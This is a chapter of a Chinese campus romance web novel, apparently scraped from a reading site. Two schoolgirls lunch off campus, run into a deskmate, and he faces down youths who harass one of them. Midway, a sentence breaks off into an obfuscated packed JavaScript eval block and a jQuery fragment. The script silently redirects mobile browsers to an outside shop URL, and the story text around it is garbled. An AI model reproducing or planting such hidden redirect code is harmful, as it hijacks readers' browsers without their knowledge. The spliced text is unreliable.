4. 第二章
    中午放学,一班拖了十分钟堂。

    今天学校食堂的人异常多,里面被堵得水泄不通,陈听舒她们挤了好半晌都没挤进去,里头打饭的队伍也压根没有动的迹象。

    烈日之下,陈听舒额前早已起了一层薄汗,她把饭卡和钱并做扇子用。

    两人属于急性子,最后商量着去校外吃。

    夏蔓问:“几点了,咱还能出去吗?”

    临江一中是允许学生中午出校门的,不过校门开放有规定时间,过后是出不去的。

    陈听舒看了眼手机,刚好卡在规定时间内:“还有三分钟,来得及。”

    话音刚落,她们撒腿就跑。

    正临饭点,校外也好不到哪去,放眼望去每家店面里都是乌压压一片。

    门口红灯格外漫长,陈听舒和夏蔓为首并排站。

    “哎我服了,她既然当着那么多人面羞辱我,我真就无语了,我是字丑又不是分丑。”

    陈听舒憋了一早上,语文老师那句话够她记到毕业了,可能多年之后,她还会将此事翻出来说上一番。

    夏蔓笑得前仰后合:“那她不还夸你了么,说你作文是文理八个班得分最高的。”

    陈听舒:“那也叫夸?她明里暗里字字句句都是在讽刺我。”

    不提还好,一提陈听舒更恼火。

    她早上刚落座,语文老师的声音紧随其后,女人意有所指:“虽然人学号0530不爱写名字,但挡不住人家作文分数高,是八个班最高的,你们课下可以去看看学习学习。”

    “......”这般夸奖对陈听舒简直是晴天霹雳,她两眼一闭就是忍,偏偏师屹然还不知状况,伸着脖子看她的卷子。

    准确来说是在确定她的学号。

    被发现后,他脸上不但没有一丝被抓包后的窘迫,反而诧异地来了句:“你0530啊,真巧,我0529。”

    “谁跟你巧。”陈听舒幼稚地捂住卷子,气往一处撒,“少看。”

    绿灯一亮,夏蔓就挽上她的胳膊,带她过马路。陈听舒比她高多半头,每次走一块儿说话都得抬头。

    “不过说实话,你记叙文写得那么好,真不考虑去写写小说、剧本什么的?”

    陈听舒正在寻找哪家店有空位,回得漫不经心:“我只看散文,不会写。”

    相比于得靠幻想场景的情爱小说,还是带插图的短篇故事和漫画书更让她读得轻松。

    夏蔓灵机一动,浅弯唇畔:“没看过小说不要紧,没吃过猪肉还没见过猪跑吗,你纯编啊,或者写自己身上发生的故事。”

    这句话倒是让她内心触动,陈听舒反问:“我自己的故事?”

    可转头一想又觉得不贴实际,刚翻出的那一丁点松动瞬间破灭:“难不成我写跟初恋渣男的爱恨情仇啊。”

    “可以啊,你把他写死。”

    尽头老潼关还有两空位,不过是拼桌。陈听舒什么都顾不上,只要能吃上饭就行,她拉着夏蔓就往进挤。

    店面不大却胜在干净,纵目而望都是一中学生,这里堪称一中二食堂。

    在一些场合,人总会用留下物品的方式来表示这个位置有人。就像拼桌的那两人留下两杯绿豆沙,以此警示周围的人:这里已被占用。

    陈听舒探头看,点餐区人还不少,没必要两个人都费劲巴力去挤,她转身就把夏蔓按在座位上:“你就坐这占位,我去点餐。”

    十分钟后,点餐区乌泱泱的人群早已扩散,陈听舒手持号码牌,畅通无阻地回到就餐位。

    恰巧此时,绿豆沙的主人也回来不久。

    陈听舒从他们身后路过,目光在那两人身上轻轻一扫。面朝过道的少年朗眉冷目,身上同她一律穿着夏季Polo衫校服。

    注意到人影,他抬眸循着轨迹,两人隔空短暂对视,陈听舒忽然感觉他很眼熟,却在一时半会儿记不起来。

    她表情忧郁,眼睛耷拉着拉开椅子。

    夏蔓放下手机,见她这般模样,象征性问了句:“怎么了这是?”

    陈听舒没说话,而是故作娇嗔地朝她伸出脚,暗示她看鞋。

    光滑鞋面上并没有长期走路而留下的那一条深折痕,也不难看出陈听舒脚上是双新鞋。眼下,白鞋在拥挤中落了数个鞋印,点餐之前还白净的鞋子此刻污垢累累,爱鞋如命的她终归是承受了太多。

    夏蔓哭笑不得:“一会给你买包湿巾擦擦。”

    两人对话声不大,足够让相邻人听清,陈听舒嗓音仿若银铃般清脆,具备独特的腔调,但凡是认识她的,都可以根据声音快速辨认出她。

    她低头专注看鞋,转回上身时,余光意外与左侧男生相撞,陈听舒面色微诧,疑惑中带有不知所措。

    师屹然表情很淡,校服领口敞开略显恣意和不羁,乌发之下的眼眸漆黑冷冽,宛若宇宙黑洞,时而明亮,时而黯淡,正一分一秒地吞噬着一切光芒。

    像是没想过会在这里相遇,师屹然在看清她的面容后,心情颇好地轻敲桌面,主动破冰道:“好巧啊,同桌。”

    陈听舒怔愣半秒,他们貌似没有相熟到见面可以打招呼的地步,出于礼貌她还是微笑颔首。

    她拒人千里之外的态度,让一旁的林秋南视线不免往她的脸上多扫了几眼,他身体顺势往后靠,“我刚就说见到你同桌了吧,你还不信我。”

    师屹然收回眼,失去雅兴般敷衍地嗯了声:“是我眼拙。”

    邻桌学姐们饱餐后便喊来店员擦拭餐桌,利于她们学习。

    陈听舒看着她们认真做卷子的样子,忽然就记起初次进这家店的时候。

    那年,她初三,余野高二。

    当时的陈听舒并不明白为什么这里学生居多,直到自己升到高中部才明白,出餐快。

    高中学业繁忙,时间又紧迫,吃得快就可以多学会儿。

    那时她不懂,只知道在同一家饭店遇到余野,会让自己开心很久。

    陈听舒饭量小,最近上火,她只能吃清淡饮食,瞥见夏蔓碗里绛红色辣子油,她突然感到自己碗里的馄饨不香了。

    陈听舒唾液腺在疯狂分泌口水,要知道平日里的她也是无辣不欢者。

    秉着眼不见为净的心理,她撑起左手肘,虎口抵住额头,将夏蔓那碗红油米线彻底隔绝在掌心之外。

    陈听舒刚从置物架取出勺子,忽觉右眼皮剧跳,在她还没有反应时,一抹橙红在空中飞驰,须臾后,那滴油竟溅上了她的校服,迅速向四周绽开。

    陈听舒脸色瞬时阴沉,眉头紧皱成一团,一股无名火涌起。

    四个人三碗带汤,夏蔓还没动筷子,自己碗里淡如白水,现下基本可以锁定一个人。

    林秋南正弓着身子搅拌碗里的粉带,显然是不可思议,他难得卡壳:“要不我林某人以死谢罪。”

    陈听舒在心里要把白眼翻烂了,觉得

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14283397|151947||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    这人真是好笑,下一秒,师屹然像是能读懂她心之所想似的,自然地说出了她的心里话。

    “她要你命做什么。”

    枪打出头鸟,林秋南就像是抓住了救命稻草,把话题引到师屹然身上,“那无论是做牛还是做马,我请老然代劳。”

    “......”师屹然掀眼,小心翼翼地去观察陈听舒的情绪,见她没有发火的征兆,他才缓缓开口:“要不,我去校服分发室给你买一件?”

    陈听舒摇头,刚想——

    “哟,这他妈不是余野前女友么。”

    身后过道站了三陌生寸头男,他们懒散的外表与青春洋溢的大家形成鲜明对比。为首男生出口成脏,浑身上下写着“二流子”三个字,尽管他们什么都没做,只是单纯地往那一站,也是让人避而远之的存在。

    陈听舒收眼,选择性耳聋,从容不迫地往嘴里送了一粒馄饨。

    冷态度让男生丢了面子,他气急败坏道:“无视我?”

    周围同校人害怕他们牵连无辜,立马往空位挪动,在躲避的途中又忍不住频繁回头吃瓜。

    男生碰上陈听舒肩膀的那一刻,师屹然几乎是同步拖着凳子直起身。

    他本就生得高大,瘦高的身形比找事的三个人还要高上一节。他的瞳仁如墨般浓黑,一簇火光在眸中愈发灼灼,无形的压迫力正源源不断往出冒。

    光有身高上碾压远远不够,师屹然抓起那只弱鸡手腕,面无表情地收力:“捏断你的手腕好像也不是什么难事,想试试?”

    男生疼得龇牙咧嘴:“哥哥哥,错了错了。”

    怕事情闹大,陈听舒连忙撂下勺子,不耐烦道:“我不认识你们,更没必要跟一群陌生人叙旧情,还有,以后别把我跟余野挂上钩,跟他谈恋爱简直是我人生一大污点。”

    甩完这句话,她拉上师屹然就往出走,无论身后人再怎么破防和辱骂,她全充当听不见。

    指腹下搏动的脉搏如鼓般有力,师屹然一副随时都会挣脱束缚,回头去大干一场的架势。一直拉着他走出一段距离后,陈听舒才放心松手。

    他们与学校相隔一条马路,看门大叔剔着牙从门房走了出来,慢悠悠地走进值班休息室,看样子像是准备午休。

    掌心还残留着师屹然手腕上的余温。

    “其实这事跟你没关系,我可以解决,”她低垂着眼,情绪不怎么高,后半句话也声若蚊蝇,“你也不用为我深陷其中。”

    师屹然站在她的左侧,眉梢微挑,下意识看她的眼神中满是温柔,清淡的嗓音像是染上了薄荷。

    “怎么跟我没关系,我同桌被欺负了我就得管。”

    闻言,陈听舒心中升起一丝若有若无的震颤,这感觉犹如蜻蜓点水般在心底掠过,这难以捕捉的涟漪,让她一时无法确认,自己究竟迫切地想要抓住些什么。

    转瞬即逝的情愫促使她抬手,揉了揉自己滚烫的左耳:“你以前也这么保护你同桌的?”

    “看来你还没有理解我那句话的含义。”

    半晌,师屹然直白锋利地看向她,脸上那颗痣勾起她的注意,他笑着说:“我的保护欲是分人的。”

    短短一句话,宛如一剂恰到好处的良药,瞬间发挥了它该有的功效。就像是对症下药,陈听舒原本还乱如麻的心绪,就在顷刻间消散得无影无踪。

    她想,或许是因为师屹然对自己的口吻太过于轻柔,让她没了阴霾。